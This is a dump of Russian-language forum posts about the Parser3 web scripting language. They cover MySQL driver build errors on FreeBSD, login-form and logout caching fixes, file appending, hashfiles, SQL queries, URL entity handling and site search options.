"32931","а меня уже и скорость волнует. :) про ^cache понял, но его использовать в случае например подсчета статистики и вывода ее онлайн не очень получится."
"32932","Прикрутил класс авторизации и по ходу тестирования внес в него маленькие изменения. Причиной послужило наличие в моем браузере \"Mozilla\" такой фичи, как \"Автозаполнение повторяющихся полей форм\" или типа того... Вобщем для создаваемой мной системы хочется такую фичу  отрубить, ибо ИМХО она понижает секьюрность - юзеры все равно будут ее использовать, и зашедший с их компа также \"автозаполниит\" эти поля...\
\
Я перекрыл два метода: [b]@init[/b] и [b]@xmlFormLogon[/b] (если используете @htmlFormLogon, то нужно будет перекрыть и его). Изменений вносится минимум: при формировании полей формы  дополнительно формируем 64 битный уникальный идентификатор и добавляем одно поле типа hidden со значением идентификатора. Также добавляем этот идентификатор к названиям полей auth.name и auth.passwd. При разборе полей формы - берем значение поля с идентификатором и запрашиваем значения полей имени и пароля уже по измененным названиям.\
\
Формирование формы:\
[code]\
@xmlFormLogon[in_params][lparams]\
........\
$lparams.addon\
 <fields>\
  $uid64[^math:uid64[]]\
  <field type=\"hidden\" name=\"uid\" value=\"$uid64\" />\
  <field type=\"hidden\" name=\"auth.logon\" value=\"do\" /> \
  <field type=\"text\" name=\"auth.name$uid64\" value=\"^if(def $logon_data.[auth.logon]){$logon_data.[auth.name]}{$last_name}\" description=\"Логин\" />\
  <field type=\"password\" name=\"auth.passwd$uid64\" description=\"Пароль\" />\
..............\
[/code]\
\
Ее разбор:\
[code]\
@init[icookie_data;ilogon_data;iparams][lparams;logon_status]\
..................\
$logon_status(^logon[\
	$.[auth.logon][$logon_data.[auth.logon]]\
	$.[auth.name][$logon_data.[auth.name$logon_data.[uid]]]\
	$.[auth.passwd][$logon_data.[auth.passwd$logon_data.[uid]]]\
])\
..................\
[/code]\
\
У меня вроде работает..."
"32935","Нашел недоделку. Чтобы при неудачном логине повторно выдавалось имя нужно:\
\
[code]\
@xmlFormLogon[in_params][lparams]\
........\
<field type=\"text\" name=\"auth.name$uid64\" value=\"^if(def $logon_data.[auth.logon]){$logon_data.[auth.name$logon_data.[uid]]}{$last_name}\" description=\"Логин\" />\
.........\
[/code]"
"32936","...потому как очень удобно. И спасибо Мише огромное за него!\
\
У меня лично стало нормой:\
\
[code]\
@USE\
mysql.p\
...\
\
@auto[]\
$SQL.connect-string[mysql://user:password@...]\
$MAIN:oSQL[^mysql::init[$SQL.connect-string]]\
...\
\
@main[]\
^MAIN:oSQL.server{\
...\
}\
[/code]"
"32937","есть хеш\
[code]\
$hash[\
	$.1[one]\
	$.2[two]\
	$.3[three]\
	$.4[four]\
	$.5[five]\
	$.6[six]\
	$.7[seven]\
	$.8[eight]\
	$.9[nine]\
	$.10[ten]\
	$.11[eleven]\
	$.12[twelve]\
	$.13[thirteen]\
	$.14[fourteen]\
	$.15[fifteen]\
]\
[/code]\
\
задача: Обновить поля таблицы, id которых равны ключам хеша, при этом не используя на каждой итерации новый UPDATE.\
\
ЗЫ этот хеш - пример, на самом деле хеш плавает от 0 до горизонта.\
\
заранее спасибо."
"32938","при добавлении строки в файл вот таким методом:\
[code]^строка.save[append;имя_файла_с_путем][/code]\
информация упорно добавляется в старую строку\
[quot]\
то, что былото что, добавлено\
[/quot]\
а необходимо, что б добавлялась именно новая строка\
[quot]\
то, что было\
то что, добавлено\
[/quot]\
иногда, правда, добавляет новую строку, но почему то происходит\
пропуск пустой строки.\
Ни какой системы в изменении добавления данных в новую\
или старую строку не заметил.\
Подскажите, от чего такая фигня происходит?\
Заранее благодарю."
"32939","как и полагал, это старые баги MFC библиотеки и зря я подумал, что можно обойтись без patches.\
\
в CVS|HEAD"
"32941","[url=\"http://www.mystat.mindwork.ru\"]www.mystat.mindwork.ru[/url] - сайт прям только только выложил -поэтому глюков наверное тоже много.\
\
Скрипт пока молодой, но планирую обновлять.\
\
к имеющемуся:\
\
посетители\
ip адреса\
точки входа\
страницы\
рефералы\
поисковые системы / слова / фразы\
пауки\
браузеры\
операционные системы\
построение диаграмм ( скоро ещё и гарфиков ) \
\
Сейчас уже запланировано около 14 новых функций.\
\
Для знатоков сего сайта она возможно не очень интересна. А всем остальным прошу осмотреть.\
\
P.S в процессе создания сайта написал ещё и форум ( правда странный )."
"32943","и о операторе switch в mssql"
"32944","что в ней непонятно вам самому, где символ переноса-строки.\
если не разберётесь,\
приведите код формирования строки, можно будет ткнуть пальцем."
"32945","Апач работает на FreeBSD 5.2.1 RELEASE. Так как на сайте есть бинарники парсера только для 4.x, то решил ставить его из исходников. Скачал с сайта файлы parser-3.1.3.tar.gz и parser3mysql-3.1.3.tar.gz. Сам парсер установился и работает нормально. Однако при попытке компиляции драйвера MySQL сразу же выдается куча ошибка на make. Configure проходит нормально. В системе установлен клиент и сервер MySQL 4.0.20. Вот концовка вывода make:\
\
parser3mysql.C:372: error: syntax error before `private'\
parser3mysql.C:377: error: `dlopen_file_spec' was not declared in this scope\
parser3mysql.C:378: error: syntax error before `if'\
*** Error code 1\
\
Stop in /usr/local/programs/parser3mysql-3.1.HEAD.\
*** Error code 1\
\
Stop in /usr/local/programs/parser3mysql-3.1.HEAD.\
*** Error code 1\
\
Stop in /usr/local/programs/parser3mysql-3.1.HEAD.\
\
Пробовал использовать gmake - тот же результат. Что делать?"
"32946","попробуйте стереть строчку 370\
и в строке 403 вместо SLINK написать DLINK?"
"32947","Приведу полный вывод make оригинальных исходников. Извините, если много.\
\
server2# make\
make  all-recursive\
Making all in libltdl\
make  all-am\
./../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I.      -g -O2 -c -o ltdl.lo `test -f '\
ltdl.c' || echo './'`ltdl.c\
gcc -DHAVE_CONFIG_H -I. -I. -I. -g -O2 -c ltdl.c  -fPIC -DPIC -o ltdl.lo\
./../libtool --mode=link gcc  -g -O2    -o libltdlc.la   ltdl.lo\
mkdir .libs\
rm -fr .libs/libltdlc.la .libs/libltdlc.* .libs/libltdlc.*\
ar cru .libs/libltdlc.al ltdl.lo\
ranlib .libs/libltdlc.al\
creating libltdlc.la\
(cd .libs && rm -f libltdlc.la && ln -s ../libltdlc.la libltdlc.la)\
if ./libtool --mode=compile g++ -DHAVE_CONFIG_H  -I. -I. -I. -I../../parser3/src/sql -I./libltdl\
 -I/usr/local/include/mysql     -g -O2 -MT parser3mysql.lo -MD -MP -MF \".deps/parser3mysql.Tpo\"\
 -c -o parser3mysql.lo `test -f 'parser3mysql.C' || echo './'`parser3mysql.C;  then mv \".deps/pa\
rser3mysql.Tpo\" \".deps/parser3mysql.Plo\";  else rm -f \".deps/parser3mysql.Tpo\"; exit 1;  fi\
g++ -DHAVE_CONFIG_H -I. -I. -I. -I../../parser3/src/sql -I./libltdl -I/usr/local/include/mysql -\
g -O2 -MT parser3mysql.lo -MD -MP -MF .deps/parser3mysql.Tpo -c parser3mysql.C  -fPIC -DPIC -o p\
arser3mysql.lo\
parser3mysql.C:17:27: pa_sql_driver.h: No such file or directory\
parser3mysql.C:55: error: syntax error before `*' token\
parser3mysql.C:65: error: syntax error before `{' token\
parser3mysql.C: In function `int api_version()':\
parser3mysql.C:72: error: `SQL_DRIVER_API_VERSION' undeclared (first use this\
   function)\
parser3mysql.C:72: error: (Each undeclared identifier is reported only once for\
   each function it appears in.)\
parser3mysql.C: In function `const char* initialize(char*)':\
parser3mysql.C:76: error: `dlink' undeclared (first use this function)\
parser3mysql.C: At global scope:\
parser3mysql.C:91: error: syntax error before `&' token\
parser3mysql.C: In function `void connect(...)':\
parser3mysql.C:94: error: `url' undeclared (first use this function)\
parser3mysql.C:113: error: `services' undeclared (first use this function)\
parser3mysql.C:114: error: 'struct Connection' has no member named 'services'\
parser3mysql.C:118: error: `connection_ref' undeclared (first use this\
   function)\
parser3mysql.C:166: error: `exec' undeclared (first use this function)\
parser3mysql.C: In function `void exec(Connection&, const char*)':\
parser3mysql.C:173: error: `void exec(Connection&, const char*)' used prior to\
   declaration\
parser3mysql.C:175: error: 'struct Connection' has no member named 'services'\
parser3mysql.C: In function `const char* quote(void*, const char*, unsigned\
   int)':\
parser3mysql.C:213: error: 'struct Connection' has no member named 'services'\
parser3mysql.C: At global scope:\
parser3mysql.C:220: error: syntax error before `&' token\
parser3mysql.C: In function `void query(...)':\
parser3mysql.C:221: error: `aconnection' undeclared (first use this function)\
parser3mysql.C:222: error: `SQL_Driver_services' undeclared (first use this\
   function)\
parser3mysql.C:222: error: 'struct Connection' has no member named 'services'\
parser3mysql.C:229: error: `astatement' undeclared (first use this function)\
parser3mysql.C:236: error: `offset' undeclared (first use this function)\
parser3mysql.C:236: error: `limit' undeclared (first use this function)\
parser3mysql.C:268: error: syntax error before `;' token\
parser3mysql.C:290: error: `handlers' undeclared (first use this function)\
parser3mysql.C:290: error: `sql_error' undeclared (first use this function)\
parser3mysql.C: At global scope:\
parser3mysql.C:330: error: syntax error before `private'\
parser3mysql.C:332: error: 't_mysql_init' is used as a type, but is not defined\
   as a type.\
parser3mysql.C:334: error: `int (*mysql_options)(MYSQL*, mysql_option, const\
   char*)' redeclared as different kind of symbol\
/usr/local/include/mysql/mysql.h:369: error: previous declaration of `int\
   mysql_options(MYSQL*, mysql_option, const char*)'\
parser3mysql.C:336: error: `MYSQL_RES*(*mysql_store_result)(MYSQL*)' redeclared\
   as different kind of symbol\
/usr/local/include/mysql/mysql.h:366: error: previous declaration of `\
   MYSQL_RES* mysql_store_result(MYSQL*)'\
parser3mysql.C:338: error: `int (*mysql_query)(MYSQL*, const char*)' redeclared\
   as different kind of symbol\
/usr/local/include/mysql/mysql.h:302: error: previous declaration of `int\
   mysql_query(MYSQL*, const char*)'\
parser3mysql.C:340: error: `char*(*mysql_error)(MYSQL*)' redeclared as\
   different kind of symbol\
/usr/local/include/mysql/mysql.h:282: error: previous declaration of `const\
   char* mysql_error(MYSQL*)'\
parser3mysql.C:349: error: `MYSQL*(*mysql_real_connect)(MYSQL*, const char*,\
   const char*, const char*, const char*, unsigned int, const char*, unsigned\
   int)' redeclared as different kind of symbol\
/usr/local/include/mysql/mysql.h:299: error: previous declaration of `MYSQL*\
   mysql_real_connect(MYSQL*, const char*, const char*, const char*, const\
   char*, unsigned int, const char*, unsigned int)'\
parser3mysql.C:351: error: `void (*mysql_close)(MYSQL*)' redeclared as\
   different kind of symbol\
/usr/local/include/mysql/mysql.h:300: error: previous declaration of `void\
   mysql_close(MYSQL*)'\
parser3mysql.C:353: error: `int (*mysql_ping)(MYSQL*)' redeclared as different\
   kind of symbol\
/usr/local/include/mysql/mysql.h:354: error: previous declaration of `int\
   mysql_ping(MYSQL*)'\
parser3mysql.C:356: error: `long unsigned int (*mysql_escape_string)(char*,\
   const char*, long unsigned int)' redeclared as different kind of symbol\
/usr/local/include/mysql/mysql.h:381: error: previous declaration of `long\
   unsigned int mysql_escape_string(char*, const char*, long unsigned int)'\
parser3mysql.C:358: error: `void (*mysql_free_result)(MYSQL_RES*)' redeclared\
   as different kind of symbol\
/usr/local/include/mysql/mysql.h:370: error: previous declaration of `void\
   mysql_free_result(MYSQL_RES*)'\
parser3mysql.C:360: error: `long unsigned\
   int*(*mysql_fetch_lengths)(MYSQL_RES*)' redeclared as different kind of\
   symbol\
/usr/local/include/mysql/mysql.h:378: error: previous declaration of `long\
   unsigned int* mysql_fetch_lengths(MYSQL_RES*)'\
parser3mysql.C:362: error: `char**(*mysql_fetch_row)(MYSQL_RES*)' redeclared as\
   different kind of symbol\
/usr/local/include/mysql/mysql.h:377: error: previous declaration of `char**\
   mysql_fetch_row(MYSQL_RES*)'\
parser3mysql.C:364: error: `MYSQL_FIELD*(*mysql_fetch_field)(MYSQL_RES*)'\
   redeclared as different kind of symbol\
/usr/local/include/mysql/mysql.h:379: error: previous declaration of `\
   MYSQL_FIELD* mysql_fetch_field(MYSQL_RES*)'\
parser3mysql.C:366: error: `unsigned int (*mysql_num_fields)(MYSQL_RES*)'\
   redeclared as different kind of symbol\
/usr/local/include/mysql/mysql.h:270: error: previous declaration of `unsigned\
   int mysql_num_fields(MYSQL_RES*)'\
parser3mysql.C:369: error: `unsigned int (*mysql_field_count)(MYSQL*)'\
   redeclared as different kind of symbol\
/usr/local/include/mysql/mysql.h:278: error: previous declaration of `unsigned\
   int mysql_field_count(MYSQL*)'\
parser3mysql.C:372: error: syntax error before `private'\
parser3mysql.C:377: error: `dlopen_file_spec' was not declared in this scope\
parser3mysql.C:378: error: syntax error before `if'\
*** Error code 1\
\
Stop in /usr/local/programs/parser3mysql-3.1.HEAD.\
*** Error code 1\
\
Stop in /usr/local/programs/parser3mysql-3.1.HEAD.\
*** Error code 1\
\
Stop in /usr/local/programs/parser3mysql-3.1.HEAD."
"32948","я в строке ни каких символов не ставлю.\
Если надо что-то ставить, так  и скажите, как я понимаю \"append\" и есть указатель того, что в фале должна появиться именно новая строка, а не просто добавиться запись."
"32949","Внимательно изучив часто задаваемые вопросы, и проверив форум с использованием всех известных слов, я все же не смог найти ответа на свой вопрос.\
\
Признаюсь, что возможно, мой вопрос должно быть слишком дилетантский, и возможно, будь у меня больше времени, я бы нашел ответ на него самостоятельно, например, изучив весь форум.\
\
Однако... я отвлёкся. :) Вопрос такой. При вводе через форму текст вводится с переводом каретки, а при выводе средствами парсера, текст выводится целостной массой, игнорируя абзацы.\
\
Я уже видел, что нечто подобное обсуждалось на форуме, и там говорилось про тайнты/антайнты и еще про матч.\
\
Но, простите, кто-ниудь может дать наглядный пример? Это очень важно для меня.\
\
Вопрос номер два касается работы try для антиспэма. Однако я буду признателен, если получу консультацию хотя бы по одному вопросу.\
\
Спасибо."
"32952","Если <br>, тов файле появляются пустые строки."
"32953","всё равно дабавление идёт в общую массу, а не в новую строку."
"32957","Для чистоты эксперимента тестируем идущий в комплекте _auth_info.html. Логинимся -> разлогиниваемся -> нажимаем Back. Получаем залогиненную страницу. Нажимаем релоад - тоже самое. И если это так и есть - не подскажете какие механизмы нужно дописать, чтобы этого избегать."
"32959","[code]\
$s[это буквы\
]\
#перед закрывающей квадратной скобкой нажат Enter\
[/code]"
"32961","Я начинающий программист - подскажите, как в таблице выбрать максимальную дату? Надо писать цикл с последовательным сравнением строк с эталоном и если строка больше, то присваивать эталону ее значение? Или можно как-то проще???\
Кстати таблица выбирается из SQL - может как то через него???"
"32964","Да, она выводится онлайн на каждую страница (это же скрипт и ведет подсчет). Очень удобно для рекламодателей - сразу видит какой раздел как посещается."
"32966","я предпочитаю не править класс по таким пустякам (мне кажется это проще сделать в коде, использующем класс)"
"32967","ИМХО, этот пустяк позволяет левым людям попасть в закрытую авторизацией часть системы в браузере, который юзер оставил открытым со спокойной душой, нажав \"Завершить работу\"."
"32968","Сделал все как там написано, а также в точности по инструкциям в INSTALL. Создал каталог parser3project, в него развернул исходники парсера в подкаталог parser3, скомпилировал, установил. Далее создал подкаталог parser3project/sql и в него развернул исходники драйвера mysql в подкаталог parser3mysql-3.1.HEAD. Скомпилировал, установил. В результате расположение файлов следующее:\
\
/usr/local/bin/parser3\
/usr/local/bin/auto.p.dist\
/usr/local/etc/parser3.charsets/koi8-r.cfg\
/usr/local/etc/parser3.charsets/windows-1250.cfg\
/usr/local/etc/parser3.charsets/windows-1251.cfg\
/usr/local/etc/parser3.charsets/windows-1257.cfg\
/usr/local/lib/libparser3mysql.so\
/usr/local/lib/libparser3mysql.la\
/usr/local/lib/mysql/libmysqlclient.so\
\
/var/sites/test/data - DocumentRoot сайта.\
/var/sites/test/cgi-bin - cgi-bin сайта.\
\
Дабы не загромождать cgi-bin посторонними файлами, я из него сделал симлинк на /usr/local/bin/parser3. А корневой файл конфигурации auto.p разместил в корне сайта /var/sites/test/data. Вот что в нем есть (лишнее вырезано):\
\
@conf[filespec]\
$charsetsdir[/usr/local/etc/parser3.charsets]\
$sqldriversdir[/usr/local/lib]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
\
$SQL[\
        $.drivers[^table::set{protocol  driver  client\
mysql   $sqldriversdir/libparser3mysql.so       /usr/local/lib/mysql/libmysqlclient.so\
pgsql   $sqldriversdir/libparser3pgsql.so       -configure could not guess-\
oracle  $sqldriversdir/libparser3oracle.so      -configure could not guess-\
}]\
]\
\
@auto[]\
$SQL.connect-string[mysql://test@localhost/test]\
\
@main[]\
^header[]\
^body[]\
^footer[]\
\
Далее идут пользовательские методы. Обращение к mysql происходит следующим образом (из учебника):\
\
   ^connect[$SQL.connect-string]{\
      ^void:sql{insert into news\
         (date, header, body)\
         values ('$form:date', '$form:header', '$form:body')\
      }\
      ... сообщение добавлено\
   }\
\
При этом возникает ошибка парсера. В логах написано:\
'/usr/local/lib/libparser3mysql.so' can't open the module [<no type>]\
\
Хотя по указанному пути эта библиотека есть. И даже права ей сделал www:www на всякий случай. Без обращения к MySQL парсер прекрасно работает. В чем может быть дело?"
"32969","Раньше у меня был такой селект:\
[code]\
$last_update[^table::sql{select\
	reestr_date, reestr_time       \
   from\
      last_update\
   }]\
$last_update_date[$last_update.reestr_date]\
[/code]\
в результате выдавал дату 2004-09-30\
для нормального форматирования даты (30.09.2004) пытался применить SQL:\
[code]\
$last_update[^table::sql{select\
	date_format(reestr_date,'%d.%m.%Y') reestr_time       \
   from\
      last_update\
   }]\
$last_update_date[$last_update.reestr_date]\
[/code]\
в результате Parser ругается на конструкцию \
[code]$last_update.reestr_date[/code]\
Я понимаю, что теперь столбец таблицы называется не reestr_date, а как то так reestr_date,'%d.%m.%Y'\
Как правильно написать, чтобы в переменную $last_update_date[] попало значение правильно сформатированной даты?"
"32970","что говорит\
[code]\
$ ldd /usr/local/lib/libparser3mysql.so\
[/code]\
?"
"32971","1. посчитайте количество запятых в вашем запросе до и после изменения\
2. почитайте документацию mysql про оператор \"as\"\
3. почитайте любую книжку по sql вообще. подобный ваш вопрос был последним."
"32972","# ldd /usr/local/lib/libparser3mysql.so\
/usr/local/lib/libparser3mysql.so:"
"32973","Кроме RTFM трудно на форуме что-то услышать. Так и не вырастешь никогда- гуру Парсера тебя просто пинают, как помойного кота... Спасибо, что хоть намекаете."
"32974","Заполняем хешфайл и выводим таким образом:\
[code]$tmp[^hashfile::open[hashfile]]\
^for[pos](1;10){	\
   $tmp.[$pos][^for[i](1;10){$i }]\
}\
^tmp.foreach[k;v]{$k=$v}[<br>][/code]\
\
Результат:\
1=1 2 3 4 5 6 7 8 9 10 \
2=1 2 3 4 5 6 7 8 9 10 \
3=1 2 3 4 5 6 7 8 9 10 \
4=1 2 3 4 5 6 7 8 9 10 \
5=1 2 3 4 5 6 7 8 9 10 \
6=1 2 3 4 5 6 7 8 9 10 \
7=1 2 3 4 5 6 7 8 9 10 \
8=1 2 3 4 5 6 7 8 9 10 \
9=1 2 3 4 5 6 7 8 9 10 \
10=1 2 3 4 5 6 7 8 9 10 \
\
Затем пытаемся его очистить и вывести:\
[code]$tmp[^hashfile::open[hashfile]]\
^tmp.clear[]\
^tmp.foreach[k;v]{$k=$v}[<br>][/code]\
\
Получаем:\
2=1 2 3 4 5 6 7 8 9 10 \
4=1 2 3 4 5 6 7 8 9 10 \
6=1 2 3 4 5 6 7 8 9 10 \
8=1 2 3 4 5 6 7 8 9 10 \
10=1 2 3 4 5 6 7 8 9 10 \
\
Вопрос: почему хеш не очистился полностью?"
"32975","Все очень четко сказано. И если за Вас все будут разжевывать, то гуру из Вас 100% не получится."
"32976","1.\
проверьте, может какие warnings вам компоновщик писал?\
2.\
вот ещё другой тест придумался:\
[code]\
[paf@six] ~> ldd /xxx/libparser3mysql.so\
        libdl.so.1 =>    /lib/libdl.so.1\
        libc.so.1 =>     /lib/libc.so.1\
[paf@six] ~> nm /xxx/libparser3mysql.so\
/xxx/libparser3mysql.so:\
[Index]   Value      Size    Type  Bind  Other Shndx   Name\
...\
[200]   |      5696|      60|FUNC |GLOB |0    |13     |create\
...\
[/code]"
"32978","как поправлю, сообщу. возмутительный bug :("
"32980","Перекрыл метод @init и как посоветовал Миша и добавил\
[code]\
$response:location[http://^taint[as-is][${env:SERVER_NAME}$request:uri]]\
[/code]\
Теперь по пути, описанному в первом посте по Back-у попасть на закрытую страницу нельзя. Но... Логинимся -> Получаем залогиненную страницу №1 - Переходим на левый адрес - Переходим на страницу требующую авторизацию (не Back-ом, а например по Bookmark-у) - Получаем залогиненную страницу №2 -> Разлогиниваемся. Переходим Back-ом на залогиненную страницу №1. Получаем ее! Делаем релоад... Получаем ее!\
\
У меня пока нет очень глубоких знаний о механизмах взаимодействия браузера и сервера, но как мне кажется в данном случае происходит сохранение полей формы в кэше браузера. Поправьте пожалуйста, если неправ...\
\
Я поборолся с этим добавив в @init\
[code]\
^if(def $logon_data.[auth.logon]){\
$response:location[http://^taint[as-is][${env:SERVER_NAME}$request:uri]]\
}\
[/code]\
\
Теперь все вроде нормуль... Прошу прощения за назойливость! :)"
"32983","Александр, нам неудобно пересобирать парсер, если не трудно вышлите пожалуйста патч на parser@mail2k.ru"
"32984","Помог ключик --with-dynamic-stdcpp при конфигурировании парсера. Проблема, как оказалось, была именно в нем, а не в драйвере mysql. Теперь все заработало. При этом ldd libparser3mysql.so по-прежнему ничего не выводит. Видимо, это нормально для FreeBSD."
"32986","Когда появилось сообщение, что он у Вас упал — Unhandled Exception вылезала на главной странице, теперь ее там, конечно, не вылезает, но зато в другом месте нашлась: http://www.mindwork.ru/studio/price/\
\
:)"
"32988","Можно ли создать xls документ средствами PARSER?\
Хочу что бы за прайс меня больше не дёргали."
"32992","Все говорит о том, что лучше разбираться самому. Не мудрено. Уже разобрался."
"32994","Я нашел в форуме\
[uri=\"http://www.parser.ru/forum/?id=19954\"]http://www.parser.ru/forum/?id=19954[/uri]"
"32995","и ещё: о связанных таблицах почитайте. не дело столько полей в одной таблице, ещё и нумерованных"
"32996","Установил, все настроил как написано, на совей машине все идеально работает, при попытке запуска на сервере Агавы выдает в error log следующее:\
\
[Wed Sep 15 17:27:44 2004] [error] [client 213.24.139.242] client denied by server configuration: /home/frownru2/public_html/auto.p\
\
это я что-то неправильно сконфигурировал или они такие нехорошие люди?...\
\
что делать?"
"32997","это правильно, что вам auto.p не отдают.\
\
вопрос, зачем вы его по http запрашиваете?!"
"32998","причем запрет на доступ к auto.p я эксперимента ради снял с .htaccess  - все равно...\
\
обидно, хостинг весьма платный... надеялся воплотить в жизнь изучение языка.."
"32999","Данные сервера Agava (Web - интерфейс) \
\
Операционная система FreeBSD \
Версия ядра 4.10-RELEASE-p2 \
версия Apache 1.3.31 (Unix) \
\
Парсер для freeBSD установлен в каталог cgi-bin \
(parser.cgi и конфигурация, скачанные с Вашего сайта, файлы\
\
parser3_1_3_freebsd49R_cgi_xml.tar.gz (26.05.2004  673,2 КБ) \
parser3sql_1_2_freebsd49R_mysql.tar.gz (26.03.2004  24,6 КБ) \
parser3conf_1_1_20031106_unix.tar.gz (07.11.2003  5,2 КБ) \
)\
\
Содержание .htaccess: \
\
# назначение обработчиком .html страниц\
AddHandler parser3-handler html\
Action parser3-handler /cgi-bin/parser3.cgi\
\
\
Сервер отвечает:\
\
[Wed Sep 15 18:03:19 2004] [error] [client 213.24.139.242] Premature end of script headers: /home/frownru2/public_html/cgi-bin/parser3.cgi\
[2004-09-15 18:03:19]: error: file has no execute permission: (/home/frownru2/public_html/cgi-bin/parser3.cgi)\
\
\
и все... приехали...."
"33001","но что это значит и где я не прав?..."
"33002","вот только что открыл у себя под WinNT этот файл parser3.cgi - там абсолютно нечитаемая белиберда безо всякого подобия смысла..."
"33003","Работает на ура...\
Как разберусь напишу Вам в вписок хостингов где parser работает Агаву и что и как....\
\
посплю только :-)"
"33004","Возможно ли средствами Парсера сделать так чтобы при вводе :lol: в гостевой книге, в сообщении появлялся определённый смайлик?"
"33006","а поподробней?"
"33007","http://www.parser.ru/docs/lang/stringmatchreplace.htm\
или\
http://www.parser.ru/docs/lang/stringreplace.htm\
\
Не ждите кода.\
Попытайтнсь решить проблему сами. СОВСЕМ непонятно будет - пишите - помогу."
"33008","мне так и не понятно как с помощью этого кода сделать то, что мне нужно.\
я хочу сделать, чтобы при вводе в любой части сайта слова pictures появлялась заранее определённая картинка или выполнялось любое другое действие\
т.е. при составлении страницы Парсер автоматически заменял бы это слово на то, что ему задали."
"33011","У себя локально да,\
а вот не пойму как \
узнать character_set зайдя\
на интересующий меня хостинг,\
где делать данный запрос?"
"33012","Подскажите, пожалуйста, новичку, как можно сотворить поиск по сайту? Если можно, наглядно показать..."
"33013","...пропишите в [url=\"http://www.parser.ru/docs/lang/mainclass.htm\"]постпроцессе[/url] замену вашего слова на тэг с картинкой. И разберитесь со стринг-реплэйс и матчем."
"33014","ИМХО это самый простой способ для сайтов с небольшой востребованностью поиска сделать полноценный поиск по сайту. С учетом морфологии, ранжированием и с выдачей результатов в своем собственном дизайне. 5000 запросов в месяц дают бесплатно. Смотреть [url=\"xml.yandex.ru\"]здесь[/url].\
Для увязывания с Parser использовать класс xdoc.\
\
Раньше среди продуктов Яndex еще был бесплатный Яndex.Site, с ограничением в 5 Mb на размер базы. Сейчас они его не дают скачаивать, но наверное можно поискать где-нибудь на фтп-серверах. Преимущество - нету месячных ограничений на кол-во запросов. Недостатки - ограничения на базу и нету нормального ранжирования. \
\
Для увязывания с Parser можно использовать ^file::cgi для исполнения скрипта Яndex, а потом ^process."
"33015","Вызывается кусочек кода, который преобразовывает xml-файл при помощи xslt-шаблона - генерируется html-код. \
 В процессе преобразования создается гиперссылка <a href=\"s.p?x=1&y=2\"/>, в которой при преобразовании символ \"&\" заменяется на \"&amp;\" и получается \"<a href=\"s.p?x=1&amp;y=2\"/>\". \
ПРОБЛЕМА: при щелчке по ссылке в браузере (и в IE6, и в Opera7) ссылка на \"s.p?x=1&amp;y=2\" работает неправильно: переменная не читается. Если вручную заменить в адресной строке &amp; на & - все работает. \
 Кто знает, в чем может быть причина?"
"33016","а если не подвязываться с Яндексом? Мне нужен поиск по сайту ВУЗа..."
"33017","Кстати, при разборе параметров url \"showprice.p?razdel=010460&amp;vid=3814&amp;z=1\"\
\
при помощи стандратного:\
\
^form:fields.foreach[field;value]{\
   $field - $value\
}[<br>]\
\
выдается следующее:\
\
razdel - 010460 \
amp;vid - 3814 \
amp;z - 1\
\
Т.е. &amp; воспринимается не как символ-разделитель, а как имя переменной. В чем \"глюк\"?"
"33018","Есть еще скрипт на http://www.mnogosearch.ru/ (он вроде бесплатный).\
\
Простой способ на голом Parser - формировать таблицу всех url сайта, затем последовательно их грузить ^file:load и через поле text объекта file искать вхождения текста запроса с помощью функции match класса string. При нормальном количестве страниц тормоза наверное будут страшные."
"33019","а что-нибудь другое? страниц-то будет довольно много..."
"33020","В том, что [b]&amp;[/b] — это «исходник» [b]&[/b].\
\
Почитайть в примерах:\
http://www.parser.ru/examples/tainting/\
\
...и в документации:\
http://www.parser.ru/docs/lang/opuntainttaint.htm"
"33021","Все другое, ускоряющее поиск, связано с индексацией текстов документов. Это отдельная большая тема. Если у вас есть энтузиазм, граничащий с фанатизмом - пожалуйста: разбирайтесь и пишите свой поисковик. Если нет - используйте сторонний скрипт. Основные используемые в сети я вам сказал! Если вы думаете, что в Parser есть функция ^search_on_site[site], которую от вас тщательно скрывают, то к сожалению такой не встречал. По крайней мере доступной бесплатно...."
"33023","[code]\
^connect[$connect_string]{$news[^table::sql{select *\
\
   from \
\
      orders  \
\
   where id<='85' and id>='15'and status='unpaid'\
   \
}]}\
[/code]\
\
Мне нужно чтобы из базы были взяты строки где id меньше 85 и больше 15 и при этом еще имеющие статус unpaid.\
\
Выдает все unpaid, но по id не выбирает в заданом диапазоне."
"33024","наверное, не в постпроцессе, а конкретно реплэйсить выдаваемый текст.\
Так нагрузка меньше."
"33025","Обнаружил еще небольшой баг. В Mozille антикеширующие заголовки не работали. То есть нажав Back можно было увидеть страницы требующие логина. При перезагрузке же они переходили на ветку алгоритма с требованием авторизации. В IE все было нормуль. Кстати до этого я по совету Миши сделал после логаута $response:location на страницу вызвашую логаут. И обнаружил, что если поочередно грузить несколько страниц с авторизацией и сделать на определенной логаут, то по Back-у она не показывается, выводя окно авторизации. А остальные показываются. Покопался в сети, кое что нашел. Добавил в @setExpireHeaders:\
[code]\
 $response:cache-control[no-store, no-cache, must-revalidate]\
[/code]\
Теперь у меня в Mozille работает, и в IE работает. В Opere проверить нет возможности. Вот... Не подскажете, где можно почитать про все эти заголовки? Пока сам ничего не нашел..."
"33026","http://services.google.com/cobrand/free_select\
\
пример работы\
http://www.egoroff.spb.ru/"
"33029","Идея:\
Вывожу построчно список писем через меню (представление в виде формы).\
В полях формы меняю нужные параметры и изменяю их в базе данных.\
Проблема:  Данные меняются, но во всех построчно сделанных формах на значения в строке-форме в которой я нажал сабмит. \
Мне нужно чтобы только в строке в которой я нажал сабмит изменились данные.\
\
[code]\
^connect[$connect_string]{$news[^table::sql{select *\
\
   from \
\
      u_letters  \
\
   where l_to>=15 and l_to<=85 and letter_status='delivered'\
   \
}]}\
\
<table border=1 width=100% valign=middle>\
<tr align=center>\
<td>\
<b style='color:#333399'>#\
</td>\
<td>\
<b style='color:#333399'>To Id:\
</td>\
<td>\
<b style='color:#333399'>Letter<br>Status:\
</td>\
<td>\
<b style='color:#333399'>Letter Content (ENG)\
</td>\
<td>\
<b style='color:#333399'>Letter Translation (UKR)\
</td>\
<td>\
<b style='color:#333399'>Answer<br>Status:\
</td>\
<td>\
<b style='color:#333399'>Answer Content (UKR)\
</td>\
<td>\
<b style='color:#333399'>Answer Translation (ENG)\
</td>\
<td></td>\
</tr>\
######data section\
^if($news){\
^news.menu{ \
\
<tr valign=top>\
<form method=\"post\">\
<td align=center>\
	\
	$news.letter_id\
